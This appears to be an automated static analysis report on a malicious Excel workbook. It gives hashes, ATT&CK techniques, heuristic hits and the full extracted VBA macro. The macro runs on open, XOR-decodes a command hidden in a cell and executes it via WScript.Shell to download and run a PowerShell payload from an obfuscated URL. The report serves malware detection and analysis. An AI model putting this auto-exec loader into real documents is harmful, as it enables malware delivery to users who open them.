Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 c874298aba3b07b0…

MALICIOUS

Office (OOXML)

69.3 KB Created: 2021-06-28 10:14:03 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-07-07
MD5: 77093b1e754aafe5fc7bdecb2f3234e8 SHA-1: 3d3cc1cef0a8c54243d7390175d6250aa3986f6c SHA-256: c874298aba3b07b0ee500dca4d3746569acb2eea9222c4525444dda3a72ea433
230 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059.001 PowerShell T1204.002 Malicious File T1059.003 Windows Command Shell

The sample is an Excel document containing a Workbook_Open VBA macro that uses WScript.Shell and CreateObject to execute commands. The macro attempts to download and execute a second-stage payload from the URL 'https://www_x001E_cjQint.com/doc_x001D_21_06/KFCw4xCg_x001C_3h_temporaire' using PowerShell, which is then saved to 'c:\Windows\Temp\temporaire.ps1' and executed. The document body attempts to trick the user into enabling content by offering deals on electronics.

Heuristics 7

  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
    Matched line in script
    modifielechamp Evaluate("BB5"), "1"
    CreateObject("WScript.Shell").Exec Evaluate("BB6")
    modifielechamp Evaluate("BB5"), "1"
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    modifielechamp Evaluate("BB5"), "1"
    CreateObject("WScript.Shell").Exec Evaluate("BB6")
    modifielechamp Evaluate("BB5"), "1"
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    modifielechamp Evaluate("BB5"), "1"
    CreateObject("WScript.Shell").Exec Evaluate("BB6")
    modifielechamp Evaluate("BB5"), "1"
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Private Sub Workbook_Open()
    modifielechamp Evaluate("BB5"), "1"
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://www_x001E_cjQint.com/doc_x001D_21_06/KFCw4xCg_x001C_3h_temporaire In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1920 bytes
SHA-256: 5fbcd2df978d6e44294ec7314fc56856b5dfd348988a8b6b48d238f1f9318c39
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Declare Sub clonememoire Lib "kernel32" Alias "RtlMoveMemory" (dest As _
    Any, source As Any, ByVal bytes As Long)



Function modifielechamp(ByVal Text As String, ByVal lemotanepaserire As String) As String
    Dim longeurdelavariable As Long
    Dim i As Long
    Dim definitionmotdepasse As Integer
    Dim besoinmotdepasse As Long
    longeurdelavariable = Len(lemotanepaserire)
    If longeurdelavariable = 0 Then Err.Raise 5
    ReDim caracteremotdepasse(0 To longeurdelavariable - 1) As Integer
    clonememoire caracteremotdepasse(0), ByVal StrPtr(lemotanepaserire), longeurdelavariable * 2
    For i = 1 To Len(Text)
        definitionmotdepasse = caracteremotdepasse(besoinmotdepasse)
        Mid$(Text, i, 1) = Chr$(Asc(Mid$(Text, i, 1)) Xor definitionmotdepasse)
        caracteremotdepasse(besoinmotdepasse) = (definitionmotdepasse + 17) And 255
        besoinmotdepasse = (besoinmotdepasse + 1) Mod longeurdelavariable
    Next
    modifielechamp = Text
    Evaluate("BB6").Value = modifielechamp
End Function



Private Sub Workbook_Open()
modifielechamp Evaluate("BB5"), "1"
CreateObject("WScript.Shell").Exec Evaluate("BB6")
modifielechamp Evaluate("BB5"), "1"
CreateObject("WScript.Shell").Exec Evaluate("BB6")

End Sub

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 22016 bytes
SHA-256: 4cd24700e6d54d71aca904841d01ddcd3d1c8aac5c60f7f405a6c6f9075aebca